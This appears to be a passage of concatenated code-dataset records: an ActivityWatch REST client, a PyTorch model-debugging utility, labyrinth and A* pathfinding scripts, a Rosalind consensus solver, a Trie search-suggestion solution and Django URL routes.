stack.append(int(token-'o'))\n else:\n if token == '+':\n op1 = stack.pop(-1)\n op2 = stack.pop(-1)\n val = op1 + op2\n stack.append(val)\n elif token == '-':\n op1 = stack.pop(-1)\n op2 = stack.pop(-1)\n val = op2 - op1\n stack.append(val)\n elif token == '*':\n op1 = stack.pop(-1)\n op2 = stack.pop(-1)\n val = op1 * op2\n stack.append(val)\n else:\n op1 = stack.pop(-1)\n op2 = stack.pop(-1)\n val = op2 / op1\n stack.append(val)\n return stack[0]\n\nif __name__ == '__main__':\n tokens = [\"10\",\"6\",\"9\",\"3\",\"+\",\"-11\",\"*\",\"/\",\"*\",\"17\",\"+\",\"5\",\"+\"]\n print(evalRPN(tokens))\n\n","sub_path":"424.py","file_name":"424.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"525298584","text":"import json\nimport logging\nimport socket\nimport os\nimport threading\nimport functools\nfrom datetime import datetime\nfrom collections import namedtuple\nfrom typing import Optional, List, Any, Union, Dict, Callable\n\nimport requests as req\nimport persistqueue\n\nfrom aw_core.models import Event\nfrom aw_core.dirs import get_data_dir\n\nfrom .config import load_config\nfrom .singleinstance import SingleInstance\n\n\nlogging.getLogger(\"requests\").setLevel(logging.WARNING)\nlogger = logging.getLogger(__name__)\n\n\ndef _log_request_exception(e: req.RequestException):\n r = e.response\n logger.warning(str(e))\n try:\n d = r.json()\n logger.warning(\"Error message received: {}\".format(d))\n except json.JSONDecodeError:\n pass\n\n\ndef always_raise_for_request_errors(f: Callable[..., req.Response]):\n @functools.wraps(f)\n def g(*args, **kwargs):\n r = f(*args, **kwargs)\n try:\n r.raise_for_status()\n except req.RequestException as e:\n _log_request_exception(e)\n raise e\n return r\n return g\n\n\nclass ActivityWatchClient:\n def __init__(self, client_name: str = \"unknown\", testing=False, host=None, port=None, protocol=\"http\") -> None:\n \"\"\"\n A handy wrapper around the aw-server REST API. The recommended way of interacting with the server.\n\n Can be used with a `with`-statement as an alternative to manually calling connect and disconnect in a try-finally clause.\n\n :Example:\n\n .. literalinclude:: examples/client.py\n :lines: 7-\n \"\"\"\n self.testing = testing\n\n self.client_name = client_name\n self.client_hostname = socket.gethostname()\n\n _config = load_config()\n server_config = _config[\"server\" if not testing else \"server-testing\"]\n client_config = _config[\"client\" if not testing else \"client-testing\"]\n\n server_host = host or server_config[\"hostname\"]\n server_port = port or server_config[\"port\"]\n self.server_address = \"{protocol}://{host}:{port}\".format(protocol=protocol, host=server_host, port=server_port)\n\n self.instance = SingleInstance(\"{}-at-{}-on-{}\".format(self.client_name, server_host, server_port))\n\n self.commit_interval = client_config.getfloat(\"commit_interval\")\n\n self.request_queue = RequestQueue(self)\n \n self.last_heartbeat = {} # type: Dict[str, Event]\n\n #\n # Get/Post base requests\n #\n\n def _url(self, endpoint: str):\n return \"{}/api/0/{}\".format(self.server_address, endpoint)\n\n @always_raise_for_request_errors\n def _get(self, endpoint: str, params: Optional[dict] = None) -> req.Response:\n return req.get(self._url(endpoint), params=params)\n\n @always_raise_for_request_errors\n def _post(self, endpoint: str, data: Union[List[Any], Dict[str, Any]], params: Optional[dict] = None) -> req.Response:\n headers = {\"Content-type\": \"application/json\", \"charset\": \"utf-8\"}\n return req.post(self._url(endpoint), data=bytes(json.dumps(data), \"utf8\"), headers=headers, params=params)\n\n @always_raise_for_request_errors\n def _delete(self, endpoint: str, data: Any = dict()) -> req.Response:\n headers = {\"Content-type\": \"application/json\"}\n return req.delete(self._url(endpoint), data=json.dumps(data), headers=headers)\n\n def get_info(self):\n \n endpoint = \"info\"\n return self._get(endpoint).json()\n\n \n def get_events(self, bucket_id: str, limit: int=-1, start: datetime=None, end: datetime=None) -> List[Event]:\n endpoint = \"buckets/{}/events\".format(bucket_id)\n\n params = dict() # type: Dict[str, str]\n if limit is not None:\n params[\"limit\"] = str(limit)\n if start is not None:\n params[\"start\"] = start.isoformat()\n if end is not None:\n params[\"end\"] = end.isoformat()\n\n events = self._get(endpoint, params=params).json()\n return [Event(**event) for event in events]\n\n def send_event(self, bucket_id: str, event: Event):\n return self.insert_event(bucket_id, event)\n\n def send_events(self, bucket_id: str, events: List[Event]):\n return self.insert_events(bucket_id, events)\n\n def insert_event(self, bucket_id: str, event: Event) -> Event:\n endpoint = \"buckets/{}/events\".format(bucket_id)\n data = event.to_json_dict()\n return Event(**self._post(endpoint, data).json())\n\n def insert_events(self, bucket_id: str, events: List[Event]) -> None:\n endpoint = \"buckets/{}/events\".format(bucket_id)\n data = [event.to_json_dict() for event in events]\n self._post(endpoint, data)\n\n def get_eventcount(self, bucket_id: str, limit: int=-1, start: datetime=None, end: datetime=None) -> int:\n endpoint = \"buckets/{}/events/count\".format(bucket_id)\n\n params = dict() # type: Dict[str, str]\n if start is not None:\n params[\"start\"] = start.isoformat()\n if end is not None:\n params[\"end\"] = end.isoformat()\n\n response = self._get(endpoint, params=params)\n return int(response.text)\n\n def heartbeat(self, bucket_id: str, event: Event, pulsetime: float, queued: bool=False, commit_interval: Optional[float]=None) -> Optional[Event]:\n \n from aw_transform.heartbeats import heartbeat_merge\n endpoint = \"buckets/{}/heartbeat?pulsetime={}\".format(bucket_id, pulsetime)\n commit_interval = commit_interval if commit_interval else self.commit_interval\n\n if queued:\n if bucket_id not in self.last_heartbeat:\n self.last_heartbeat[bucket_id] = event\n return None\n\n last_heartbeat = self.last_heartbeat[bucket_id]\n\n merge = heartbeat_merge(last_heartbeat, event, pulsetime)\n\n if merge:\n # If last_heartbeat becomes longer than commit_interval\n # then commit, else cache merged.\n diff = (last_heartbeat.duration).total_seconds()\n if diff > commit_interval:\n data = merge.to_json_dict()\n self.request_queue.add_request(endpoint, data)\n self.last_heartbeat[bucket_id] = event\n else:\n self.last_heartbeat[bucket_id] = merge\n else:\n data = last_heartbeat.to_json_dict()\n self.request_queue.add_request(endpoint, data)\n self.last_heartbeat[bucket_id] = event\n\n return None\n else:\n return Event(**self._post(endpoint, event.to_json_dict()).json())\n\n #\n # Bucket get/post requests\n #\n\n def get_buckets(self):\n return self._get('buckets/').json()\n\n def create_bucket(self, bucket_id: str, event_type: str, queued=False):\n if queued:\n self.request_queue.register_bucket(bucket_id, event_type)\n else:\n endpoint = \"buckets/{}\".format(bucket_id)\n data = {\n 'client': self.client_name,\n 'hostname': self.client_hostname,\n 'type': event_type,\n }\n self._post(endpoint, data)\n\n def delete_bucket(self, bucket_id: str):\n self._delete('buckets/{}'.format(bucket_id))\n\n # @deprecated\n def setup_bucket(self, bucket_id: str, event_type: str):\n self.create_bucket(bucket_id, event_type, queued=True)\n\n # Import & export\n\n def export_all(self) -> dict:\n return self._get('export').json()\n\n def export_bucket(self, bucket_id) -> dict:\n return self._get('buckets/{}/export'.format(bucket_id)).json()\n\n def import_bucket(self, bucket: dict) -> None:\n endpoint = \"import\"\n self._post(endpoint, {\"buckets\": {bucket[\"id\"]: bucket}})\n\n #\n # Query (server-side transformation)\n #\n\n def query(self, query: str, start: datetime, end: datetime, name: str=None, cache: bool=False) -> Union[int, dict]:\n endpoint = \"query/\"\n params = {} # type: Dict[str, Any]\n if cache:\n if not name:\n raise Exception(\"You are not allowed to do caching without a query name\")\n params[\"name\"] = name\n params[\"cache\"] = int(cache)\n data = {\n 'timeperiods': [\"/\".join([start.isoformat(), end.isoformat()])],\n 'query': query.split(\"\\n\")\n }\n response = self._post(endpoint, data, params=params)\n if response.text.isdigit():\n return int(response.text)\n else:\n return response.json()\n\n #\n # Connect and disconnect\n #\n\n def __enter__(self):\n self.connect()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.disconnect()\n\n def connect(self):\n if not self.request_queue.is_alive():\n self.request_queue.start()\n\n def disconnect(self):\n self.request_queue.stop()\n self.request_queue.join()\n\n # Throw away old thread object, create new one since same thread cannot be started twice\n self.request_queue = RequestQueue(self)\n\n\nQueuedRequest = namedtuple(\"QueuedRequest\", [\"endpoint\", \"data\"])\nBucket = namedtuple(\"Bucket\", [\"id\", \"type\"])\n\n\nclass RequestQueue(threading.Thread):\n \"\"\"Used to asynchronously send heartbeats.\n\n Handles:\n - Cases where the server is temporarily unavailable\n - Saves all queued requests to file in case of a server crash\n \"\"\"\n\n VERSION = 1 # update this whenever the queue-file format changes\n\n def __init__(self, client: ActivityWatchClient) -> None:\n threading.Thread.__init__(self, daemon=True)\n\n self.client = client\n\n self.connected = False\n self._stop_event = threading.Event()\n\n # Buckets that will have events queued to them, will be created if they don't exist\n self._registered_buckets = [] # type: List[Bucket]\n\n self._attempt_reconnect_interval = 10\n\n # Setup failed queues file\n data_dir = get_data_dir(\"aw-client\")\n queued_dir = os.path.join(data_dir, \"queued\")\n if not os.path.exists(queued_dir):\n os.makedirs(queued_dir)\n\n persistqueue_path = os.path.join(\n queued_dir,\n \"{}{}.v{}.persistqueue\".format(self.client.client_name, \"-testing\" if client.testing else \"\", self.VERSION)\n )\n self._persistqueue = persistqueue.FIFOSQLiteQueue(persistqueue_path, multithreading=True, auto_commit=False)\n self._current = None # type: Optional[QueuedRequest]\n\n def _get_next(self) -> Optional[QueuedRequest]:\n # self._current will always hold the next not-yet-sent event,\n # until self._task_done() is called.\n if not self._current:\n try:\n self._current = self._persistqueue.get(block=False)\n except persistqueue.exceptions.Empty:\n return None\n return self._current\n\n def _task_done(self) -> None:\n self._current = None\n self._persistqueue.task_done()\n\n def _create_buckets(self) -> None:\n for bucket in self._registered_buckets:\n self.client.create_bucket(bucket.id, bucket.type)\n\n def _try_connect(self) -> bool:\n try: # Try to connect\n self._create_buckets()\n self.connected = True\n logger.info(\"Connection to aw-server established by {}\".format(self.client.client_name))\n except req.RequestException:\n self.connected = False\n\n return self.connected\n\n def wait(self, seconds) -> bool:\n return self._stop_event.wait(seconds)\n\n def should_stop(self) -> bool:\n return self._stop_event.is_set()\n\n def _dispatch_request(self) -> None:\n request = self._get_next()\n if not request:\n self.wait(0.1) # seconds to wait before re-polling the empty queue\n return\n\n try:\n self.client._post(request.endpoint, request.data)\n except req.RequestException as e:\n self.connected = False\n logger.warning(\"Failed to send request to aw-server, will queue requests until connection is available.\")\n return\n\n self._task_done()\n\n def run(self) -> None:\n self._stop_event.clear()\n while not self.should_stop():\n # Connect\n while not self._try_connect():\n logger.warning(\"Not connected to server, {} requests in queue\".format(self._persistqueue.qsize()))\n if self.wait(self._attempt_reconnect_interval):\n break\n\n # Dispatch requests until connection is lost or thread should stop\n while self.connected and not self.should_stop():\n self._dispatch_request()\n\n def stop(self) -> None:\n self._stop_event.set()\n\n def add_request(self, endpoint: str, data: dict) -> None:\n \"\"\"\n Add a request to the queue.\n NOTE: Only supports heartbeats\n \"\"\"\n assert \"/heartbeat\" in endpoint\n assert isinstance(data, dict)\n self._persistqueue.put(QueuedRequest(endpoint, data))\n\n def register_bucket(self, bucket_id: str, event_type: str) -> None:\n self._registered_buckets.append(Bucket(bucket_id, event_type))\n","sub_path":"aw-client/aw_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":13272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"622227345","text":"import random\nimport numpy as np\n\nimport networkx as nx\n\nfrom garageofcode.common.utils import shuffled\n\ndef init_grid_graph(n, m, p):\n G = nx.Graph()\n for i in range(n):\n for j in range(m):\n G.add_node((i, j))\n if j < m - 1 and random.random() < p:\n G.add_edge((i, j), (i, j + 1))\n if i < n - 1 and random.random() < p:\n G.add_edge((i, j), (i + 1, j))\n return G\n\ndef init_obstruction_graph(G):\n i0, j0 = min(G)\n i1, j1 = max(G)\n Obs = nx.Graph()\n for i in range(i0, i1 + 1):\n for j in range(j0, j1 + 1):\n #Obs.add_node((i, j))\n if i < i1:\n Obs.add_edge((i, j), (i + 1, j))\n if j < j1:\n Obs.add_edge((i, j), (i, j + 1))\n return Obs\n\ndef connect_labyrinth(L):\n added_edges = []\n components = list(nx.connected_components(L))\n while len(components) > 1:\n components, edge = connect_components(L, components)\n added_edges.append(edge)\n return added_edges\n\ndef connect_components(L, components):\n c = random.choice(components)\n for n in shuffled(c):\n neighbours = list(get_grid_neighbours(L, n))\n for neigh in shuffled(neighbours):\n if neigh not in c:\n neigh_c = nx.node_connected_component(L, neigh)\n components.remove(c)\n components.remove(neigh_c)\n c.update(neigh_c)\n components.append(c)\n edge = (n, neigh)\n L.add_edge(*edge)\n return components, edge\n\ndef get_grid_neighbours(L, n):\n i, j = n\n for di, dj in [(0, 1), (1, 0), (0, -1), (-1, 0)]:\n neigh = (i + di, j + dj)\n if neigh in L:\n yield neigh\n\ndef search_cost(algo, L, start, end):\n T = next(algo(L, start, end))\n path_nodes = nx.shortest_path(T, start, end)\n backtrack_nodes = T.nodes - set(path_nodes)\n total_edges_passed = len(path_nodes) - 1 + 2*len(backtrack_nodes)\n return total_edges_passed","sub_path":"garageofcode/labyrinth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"208043208","text":"import numpy as np\n\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\nimport random\ndtype = torch.cuda.FloatTensor\n\nfrom torch_geometric.data import DataLoader\n\n\nfrom mpnn import utils\nimport sklearn as sk\n\n#fix random seeds\nrandom.seed(2)\ntorch.manual_seed(2)\nnp.random.seed(2)\n\n\nclass DebugSession:\n def __init__(self, model_type, model_class_ls, data_set, zero_data_set, \n device, target_mean_test=False, choose_model=True, LR=.001, BS=124, CHOOSE_MODEL_EPOCHS=1000):\n self.model_class_ls = model_class_ls\n self.model_type = model_type #should be 'gnn' for graph neural network or 'mlp' for multi-layer perceptron\n self.data_set = data_set\n self.zero_data_set = zero_data_set\n self.device = device\n self.target_mean_test = target_mean_test\n if self.target_mean_test is False:\n print('Skipping test_target_mean', flush=True)\n self.choose_model = choose_model\n if self.choose_model is False:\n print('Skipping chart_dependencies', flush=True)\n self.LR = LR\n self.BS = BS\n self.CHOOSE_MODEL_EPOCHS = CHOOSE_MODEL_EPOCHS\n\n def test_target_mean(self, model, target_mean):\n model.train()\n model.init_bias(target_mean)\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n train_loader = DataLoader(self.data_set['train'], batch_size=10, shuffle=True)\n model.train()\n for data in train_loader: #loop through training batches\n pass\n self.data = data.to(self.device)\n optimizer.zero_grad()\n self.output = model(self.data).view(self.data.num_graphs,)\n if self.target_mean_test:\n print('\\nChecking that all outputs are near to the mean', flush=True)\n assert (np.max(np.abs(target_mean - self.output.detach().cpu().numpy())) \n / target_mean) < .1 #the absolute deviation from the mean should be <.1\n print('Verified that all outputs are near to the mean\\n', flush=True)\n loss_fn = nn.MSELoss()\n loss = loss_fn(self.output, data.y)\n loss.backward()\n\n def test_output_shape(self):\n assert self.output.shape == self.data.y.shape\n print('\\nVerified that shape of model predictions is equal to shape of labels\\n', flush=True)\n\n def grad_check(self, model, file_name):\n try:\n utils.plot_grad_flow(model.named_parameters(),filename=file_name)\n except:\n print('Error: None-type gradients detected', flush=True)\n raise\n \n def test_input_independent_baseline(self, model):\n print('\\nChecking input-independent baseline', flush=True)\n train_loader = DataLoader(self.data_set['train'], batch_size=self.BS, shuffle=True)\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n for epoch in range(5):\n real_data_loss = 0\n for data in train_loader: #loop through training batches\n data = data.to(self.device)\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss_fn = nn.MSELoss()\n loss = loss_fn(output, data.y)\n real_data_loss += loss.detach().cpu().numpy()\n loss.backward()\n optimizer.step()\n print('..real_data_loss', real_data_loss, flush=True) #loss for all points in 5th epoch gets printed\n\n zero_loader = DataLoader(self.zero_data_set, batch_size=self.BS, shuffle=True)\n for epoch in range(5):\n zero_data_loss = 0\n for data in zero_loader: #loop through training batches\n data = data.to(self.device)\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss_fn = nn.MSELoss()\n loss = loss_fn(output, data.y)\n zero_data_loss += loss.detach().cpu().numpy()\n loss.backward()\n optimizer.step()\n print('..zero_data_loss', zero_data_loss, flush=True) #loss for all points in 5th epoch gets printed\n if zero_data_loss < real_data_loss:\n raise ValueError('The loss of zeroed inputs is less than the loss of \\\n real input. This may indicate that your model is not learning anything.')\n print('Input-independent baseline is verified\\n', flush=True)\n \n def test_overfit_small_batch(self, model):\n print('\\nChecking if a small batch can be overfit', flush=True)\n epsilon = .01 #the loss below which we consider a batch fully-learned\n train_loader = DataLoader(self.data_set['train'][0:5], batch_size=5, shuffle=True)\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n model.train()\n overfit = False\n for epoch in range(200):\n if not overfit:\n for data in train_loader: #loop through training batches\n data = data.to(self.device)\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss_fn = nn.MSELoss()\n loss = loss_fn(output, data.y)\n loss.backward()\n optimizer.step()\n if np.sqrt(loss.item()) < epsilon:\n print('..Loss:', np.sqrt(loss.item()))\n print('..Outputs', output.detach().cpu().numpy().round(4))\n print('..Labels', data.y.detach().cpu().numpy().round(4), flush=True)\n overfit = True\n if not overfit:\n raise ValueError('Error: Your model was not able to overfit a small batch of data')\n print('Verified that a small batch can be overfit\\n', flush=True)\n\n def visualize_large_batch_training(self, model):\n print('\\nStarting visualization', flush=True)\n train_loader = DataLoader(self.data_set['train'], batch_size=124, shuffle=False)\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n model.train()\n min_loss = np.inf\n n_epochs = self.CHOOSE_MODEL_EPOCHS // 2\n for epoch in range(n_epochs):\n for ind,data in enumerate(train_loader): #loop through training batches\n data = data.to(self.device)\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss_fn = nn.MSELoss()\n loss = loss_fn(output, data.y)\n loss.backward()\n optimizer.step()\n if ind == 0:\n print('..Epoch %s' %epoch)\n print('....Output:', output.detach().cpu().numpy()[0:10].round(decimals=3))\n print('....Labels:', data.y.detach().cpu().numpy()[0:10].round(decimals=3))\n print('....Loss:', np.sqrt(loss.item()))\n if loss < min_loss:\n min_loss = loss\n print('....Best loss:', np.sqrt(min_loss.item()), flush=True)\n print('Visualization complete \\n', flush=True)\n\n def chart_dependencies(self, model):\n print('\\nBeginning to chart dependencies', flush=True)\n \n train_loader = DataLoader(self.data_set['train'][0:5], batch_size=5, shuffle=False)\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n model.train()\n i = 0\n for epoch in range(1):\n for data in train_loader: #loop through training batches\n data = data.to(self.device)\n data.x.requires_grad = True\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss = output[0]\n loss.backward()\n print('..Epoch %s' %epoch)\n print('....Output:', output.detach().cpu().numpy()[0:10].round(decimals=3))\n print('....Labels:', data.y.detach().cpu().numpy()[0:10].round(decimals=3))\n print('....Loss:', loss.item(), flush=True)\n\n if self.model_type is 'gnn':\n start_ind = self.data_set['train'][0].x.shape[0] #the number of nodes in the first connected graph\n elif self.model_type is 'mlp':\n start_ind = 1\n else:\n raise ValueError(\"Invalid 'model_type' selected\")\n if data.x.grad[start_ind:,:].sum().item() != 0:\n raise ValueError('Data is getting passed along the batch dimension.')\n \n print('Finished charting dependencies. Data is not getting passed along the batch dimension.\\n', flush=True)\n\n def choose_model_size_by_overfit(self):\n print('\\nBeginning model size search', flush=True)\n\n N_TRAIN_DATA = len(self.data_set['train'])\n train_loader = DataLoader(self.data_set['train'], batch_size=self.BS, shuffle=False)\n\n min_best_loss = np.inf\n best_model_class = None #index of best model\n for model_n,model_class in enumerate(self.model_class_ls):\n print('\\n..Training model %s \\n' %model_n)\n model = model_class()\n try:\n model.init_bias(self.target_mean)\n except:\n pass\n optimizer = torch.optim.Adam(model.parameters(), lr=self.LR) #Adam optimization\n model = model.to(self.device)\n model.train()\n min_loss = np.inf #epoch-wise loss\n max_r2 = 0\n for epoch in range(self.CHOOSE_MODEL_EPOCHS):\n epoch_loss = 0\n y = []\n y_hat = []\n for ind,data in enumerate(train_loader): #loop through training batches\n data = data.to(self.device)\n optimizer.zero_grad()\n output = model(data).view(data.num_graphs,)\n loss_fn = nn.MSELoss()\n loss = loss_fn(output, data.y)\n loss.backward()\n optimizer.step()\n epoch_loss += loss.item()*data.num_graphs\n y += data.y.cpu().numpy().tolist()\n y_hat += output.detach().cpu().numpy().tolist()\n r2 = sk.metrics.r2_score(y, y_hat)\n print('\\n....Epoch %s' %epoch)\n print('......[loss] %s [r2] %s' %(np.sqrt(sk.metrics.mean_squared_error(y, y_hat)), r2))\n print('......Output:', np.array(y_hat[0:10]).round(decimals=3))\n print('......Labels:', np.array(y[0:10]).round(decimals=3))\n if epoch_loss < min_loss:\n min_loss = epoch_loss\n max_r2 = r2\n\n print('......[best loss] %s [best r2] %s' %(np.sqrt(min_loss/N_TRAIN_DATA), max_r2), flush=True)\n utils.plot_grad_flow(model.named_parameters(),filename='big_model_%s_grad_check.png' %model_n)\n print('..Set of gradients plotted to big_model_%s_grad_check.png' %model_n, flush=True)\n if min_loss > min_best_loss:\n break\n else:\n min_best_loss = min_loss\n best_model_class = model_class\n print('Finished model size search. Best model is %s\\n' %best_model_class, flush=True)\n return best_model_class\n \n def main(self):\n \n min_model = self.model_class_ls[0]() #instantiate model\n min_model.to(self.device)\n\n self.target_mean = np.mean([x.y for x in self.data_set['train']])\n print('\\ntarget_mean %s \\n' %self.target_mean, flush=True)\n self.test_target_mean(min_model, self.target_mean)\n self.test_output_shape()\n self.grad_check(min_model, file_name='first_grad_check.png')\n print('\\nSet of gradients plotted to first_grad_check.png\\n', flush=True)\n\n min_model = self.model_class_ls[0]() #re-instantiate model\n min_model.to(self.device)\n\n self.test_input_independent_baseline(min_model)\n\n min_model = self.model_class_ls[0]() #re-instantiate model\n min_model.to(self.device)\n\n self.test_overfit_small_batch(min_model)\n\n min_model = self.model_class_ls[0]() #re-instantiate model\n min_model.to(self.device)\n\n self.visualize_large_batch_training(min_model)\n self.grad_check(min_model, file_name='second_grad_check.png')\n print('\\nSet of gradients plotted to second_grad_check.png\\n', flush=True)\n\n min_model = self.model_class_ls[0]() #re-instantiate model\n min_model.to(self.device)\n\n self.chart_dependencies(min_model)\n\n if self.choose_model:\n best_model = self.choose_model_size_by_overfit()\n else:\n best_model = None\n print('\\nDebug session complete.', flush=True)\n return best_model\n","sub_path":"pt_utils.py","file_name":"pt_utils.py","file_ext":"py","file_size_in_byte":12918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"98260183","text":"\n# coding: utf-8\n\n# In[1]:\n\nwith open(\"/Users/simonwager/ROSALIND/Bioinformatics_Stronghold/010_rosalind_cons.txt\", 'r') as f:\n file = f.read()\n\npresplit = file.split(\">\") # splits into each subject\npresplit.remove(presplit[0]) # removes the extra element caused by the split placement\nsplit = []\n\nfor i in presplit: # required to remove '\\n' from each new line\n name = i.split(\"\\n\")\n name.remove(name[0])\n content = ''.join(name)\n split.append(content)\n \nA = [] # list for each nucleotide\nC = []\nG = []\nT = []\nm = 0\n\nfor i in range(0, len(split)):\n substring = split[i]\n nuc = list(substring)\n if m == 0: # can only run this one once to create the necessary elements in each nucleotide list\n for i in range(0, len(nuc)):\n Ac = 0\n Cc = 0\n Gc = 0\n Tc = 0\n if nuc[i] == \"A\":\n Ac = Ac + 1\n elif nuc[i] == \"C\":\n Cc = Cc + 1\n elif nuc[i] == \"G\":\n Gc = Gc + 1\n elif nuc[i] == \"T\":\n Tc = Tc + 1\n A.append(Ac)\n C.append(Cc)\n G.append(Gc)\n T.append(Tc)\n m = 1\n else:\n for i in range(0, len(nuc)):\n Ac = 0\n Cc = 0\n Gc = 0\n Tc = 0\n if nuc[i] == \"A\":\n Ac = Ac + 1\n elif nuc[i] == \"C\":\n Cc = Cc + 1\n elif nuc[i] == \"G\":\n Gc = Gc + 1\n elif nuc[i] == \"T\":\n Tc = Tc + 1\n A[i] = A[i] + Ac\n C[i] = C[i] + Cc\n G[i] = G[i] + Gc\n T[i] = T[i] + Tc\nfinseqls = []\nfor i in range(0, len(A)):\n letter = (max(A[i], C[i], G[i], T[i]))\n if A[i] == letter:\n finseqls.append(\"A\")\n elif C[i] == letter:\n finseqls.append(\"C\")\n elif G[i] == letter:\n finseqls.append(\"G\")\n elif T[i] == letter:\n finseqls.append(\"T\")\n \nfor i in range(0, len(A)):\n A[i] = str(A[i]) # if it isn't a string it can't be joined\n C[i] = str(C[i])\n G[i] = str(G[i])\n T[i] = str(T[i])\n finseqls[i] = str(finseqls[i])\nAfin = \" \".join(A)\nCfin = \" \".join(C)\nGfin = \" \".join(G)\nTfin = \" \".join(T)\nfinseq = \"\".join(finseqls)\nprint(finseq)\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"010_Consensus+and+Profile.py","file_name":"010_Consensus+and+Profile.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"432323325","text":"\n\n# creating Trie based on products, with suggestion already populated while creating the Trie\nclass TrieNode:\n def __init__(self):\n self.children = {}\n self.suggestion = [] # words with prefix that is root to this node, sorted alphabetically\n\n\nclass Solution:\n def suggestedProducts(self, products: List[str], searchWord: str) -> List[List[str]]:\n root = TrieNode() # dummy root\n # insert products into Trie\n for product in sorted(products):\n cur = root # for each product, go back to root\n for ch in product:\n if ch not in cur.children:\n nxt = TrieNode()\n cur.children[ch] = nxt\n cur = cur.children[ch]\n if len(cur.suggestion) < 3:\n cur.suggestion.append(product)\n\n ans = []\n # get already populated suggestion from each node\n cur = root\n for ch in searchWord:\n if cur:\n nxt = cur.children.get(ch)\n cur = nxt\n if cur:\n ans.append(list(cur.suggestion))\n else:\n ans.append([])\n return ans","sub_path":"1268. Search Suggestions System/ans.py","file_name":"ans.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"254609833","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport Astar as star\nfrom tkinter import *\n\nMAXX = 480\nMAXY = 480\n\nclickCoord = []\nclicked = 0\n\ndef mouseClick(event):\n global clickCoord\n global clicked\n clicked = 1\n clickCoord = [event.x, event.y]\n\ndef vue(fenetre, canvas, aStar):\n scaleX = MAXX / aStar.graph.sizeX\n scaleY = MAXY / aStar.graph.sizeY\n canvas.delete(\"all\")\n for i in range(aStar.graph.sizeX):\n for j in range(aStar.graph.sizeY):\n if (i == aStar.depart.x and j == aStar.depart.y):\n val=canvas.create_rectangle(i * scaleX, j * scaleY, i * scaleX + scaleX, j * scaleY + scaleY, fill='yellow')\n elif (i == aStar.fin.x and j == aStar.fin.y):\n val=canvas.create_rectangle(i * scaleX, j * scaleY, i * scaleX + scaleX, j * scaleY + scaleY, fill='blue')\n elif (aStar.graph.solution[i][j] == 0):\n val=canvas.create_rectangle(i * scaleX, j * scaleY, i * scaleX + scaleX, j * scaleY + scaleY, fill='white')\n elif (aStar.graph.solution[i][j] == 1):\n val=canvas.create_rectangle(i * scaleX, j * scaleY, i * scaleX + scaleX, j * scaleY + scaleY, fill='red')\n else:\n val=canvas.create_rectangle(i * scaleX, j * scaleY, i * scaleX + scaleX, j * scaleY + scaleY, fill='green')\n fenetre.update()\n fenetre.update_idletasks()\n \n \n \ndef main():\n global clicked\n \n fenetre = Tk()\n fenetre.title(\"Algorithme A* - acadiou\")\n canvas = Canvas(fenetre, width=MAXX, height=MAXY, background='white')\n canvas.focus_set()\n canvas.bind(\"<Button-1>\", mouseClick)\n canvas.pack()\n #..........................\n bitmap = []\n for i in range(6):\n bitmap.append([])\n for j in range(6):\n bitmap[i].append(star.Noeud(i, j, False))\n graph = star.Graph(bitmap)\n graph.ajouterMur(0,5)\n graph.ajouterMur(1,5)\n graph.ajouterMur(1,0)\n graph.ajouterMur(1,1)\n graph.ajouterMur(2,3)\n graph.ajouterMur(3,1)\n graph.ajouterMur(3,2)\n graph.ajouterMur(3,5)\n graph.ajouterMur(4,1)\n graph.ajouterMur(4,4)\n graph.ajouterMur(5,1)\n depart = star.Noeud(0,0,False)\n fin = star.Noeud(5,5,False)\n fin.f = 2\n a = star.Astar(graph, depart, fin)\n a.solveur()\n \n vue(fenetre, canvas, a)\n \n #............................\n # i=0\n # while i<100:\n # if (clicked == 1):\n # x = clickCoord[0]//(MAXX/graph.sizeX)\n # y = clickCoord[1]//(MAXY/graph.sizeY)\n # a.reset()\n # a.graph.ajouterMur(int(x), int(y))\n # a.solveur()\n # clicked = 0\n # i = i + 1\n # vue(fenetre, canvas, a)\n # \n # fenetre.destroy()\n fenetre.mainloop()\n return 0\n \nmain()\n\n\n","sub_path":"Astar/Front.py","file_name":"Front.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"127940208","text":"# coding: utf-8\n\nfrom django.conf.urls import *\n\nfrom content import views\n\nurlpatterns = patterns(\n '',\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^projects/new$', views.CreateProjectView.as_view(), name='project_new'),\n url(r'^projects/(?P<pk>\\d+)$', views.ProjectView.as_view(), name='project'),\n url(r'^projects/(?P<pk>\\d+)/new_article$', views.CreateArticleView.as_view(), name='article_new'),\n url(r'^projects/(?P<pk>\\d+)/roles$', views.RolesView.as_view(), name='roles'),\n url(r'^articles/(?P<pk>\\d+)$', views.ArticleView.as_view(), name='article'),\n)\n''' url(r'^cabinet$', 